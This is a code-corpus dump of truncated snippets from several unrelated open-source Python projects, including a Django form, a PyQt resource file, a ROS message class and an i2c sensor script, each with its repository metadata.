Distributed under License GPLv3 or later
You can find a copy of this license on the website
http://www.gnu.org/licenses/gpl.html
This program is free software; you can redistrib... | fedora-infra/fedocal | tests/test_cron.py | Python | gpl-3.0 | 10,084 |
from header_common import *
from header_presentations import *
from header_mission_templates import *
from header_operations import *
from header_triggers import *
from header_items import *
from module_constants import *
import header_debug as dbg
import header_lazy_evaluation as lazy
################################... | RaJiska/Warband-PW-Punishments-Manager | scripts/module_presentations.py | Python | gpl-3.0 | 238,945 |
from os.path import dirname, basename, isfile
import glob
# Allow use of from locales import *
modules = glob.glob(dirname(__file__)+"/*.py")
__all__ = [ basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')]
| bobintetley/asm3 | src/asm3/locales/__init__.py | Python | gpl-3.0 | 238 |
from ..exports import (ObjectCollectorMixin, RegistryInstallerMixin,
ListCollector)
from ...presentation.settings import SettingsManager
class Settings(ObjectCollectorMixin, RegistryInstallerMixin, ListCollector):
"""
Collect settings fields from components.
"""
export_key = 'se... | Outernet-Project/librarian | librarian/core/collectors/settings.py | Python | gpl-3.0 | 391 |
# -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt4 (Qt v4.8.7)
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore
qt_resource_data = "\
\x00\x00\x00\xd0\
\x51\
\x4c\x61\x62\x65\x6c\x7b\x0d\x0a\x20\x20\x20\x20\x62\x61\x63\x6b\
\x67\x72\x6f\x75... | brunoabud/ic | gui/ic_resources_rc.py | Python | gpl-3.0 | 365,799 |
"""Virtual Tile for testing TileBasedVirtualDevice."""
from iotile.core.hw.virtual import VirtualTile, tile_rpc
class TestTile(VirtualTile):
def __init__(self, address, _args, device=None):
super(TestTile, self).__init__(address, 'test42')
@tile_rpc(0x0000, "LL", "L")
def add(self, arg_1, arg_2)... | iotile/coretools | iotilecore/test/test_rpc/rpc_device.py | Python | gpl-3.0 | 665 |
# This Python file uses the following encoding: utf-8
"""autogenerated by genpy from nasa_r2_common_msgs/PoseCommandStatus.msg. Do not edit."""
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
import genpy
class PoseCommandStatus(genpy.Message):
_md5sum = "82493b7735e3f... | mkhuthir/catkin_ws | src/chessbot/devel/lib/python2.7/dist-packages/nasa_r2_common_msgs/msg/_PoseCommandStatus.py | Python | gpl-3.0 | 6,694 |
#!/usr/bin/python
# -*- coding: windows-1252 -*-
import wxversion
wxversion.select('2.8')
import wx
import wx.lib.ogl as ogl
from log import *
from id import *
from dialog import *
import math
import datetime
def str2bool(string):
return string == 'True'
class Entidad(ogl.CompositeShape):
def __init__(self, n... | ajdelgados/Sofia | modules/graphic.py | Python | gpl-3.0 | 52,919 |
"""
Copyright 2012 Jan Demter <jan@demter.de>
This file is part of LODStatsWWW.
LODStats is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
L... | AKSW/LODStats_WWW | rdfstats/controllers/vocabularies.py | Python | gpl-3.0 | 5,389 |
import sqlite3
import pdb
# Higher scores should ALWAYS indicate a stronger/better relationship
class db:
"""
This class interfaces to a sqlite database and has convienince methods for extracting data
"""
def __init__(self, filename):
self.con = sqlite3.connect(filename)
self.cur = s... | cjrd/TMA | src/backend/db.py | Python | gpl-3.0 | 6,177 |
from django import forms
import re
class UserForm(forms.Form):
username = forms.CharField(max_length=16,label='用户名',widget=forms.TextInput(attrs={'class':'form-control'}))
password = forms.CharField(max_length=20,label='密码',widget=forms.PasswordInput(attrs={'class':'form-control'}))
password1 = forms.CharFi... | ryanrain2016/FreeEye | FreeEye/SystemManage/forms.py | Python | gpl-3.0 | 989 |
import smbus
import time
import sys
bus = smbus.SMBus(1)
print ("Please enter the address in hex.")
address = int(raw_input(), 16)
print("Working on Address: " + str(address))
# def bearing255():
# bear = bus.read_byte_data(address, 1)
# return bear
# def bearing3599():
# bear1 = bus.read_... | nickw444/quadcopter | older stuff/Quad/i2c.py | Python | gpl-3.0 | 1,008 |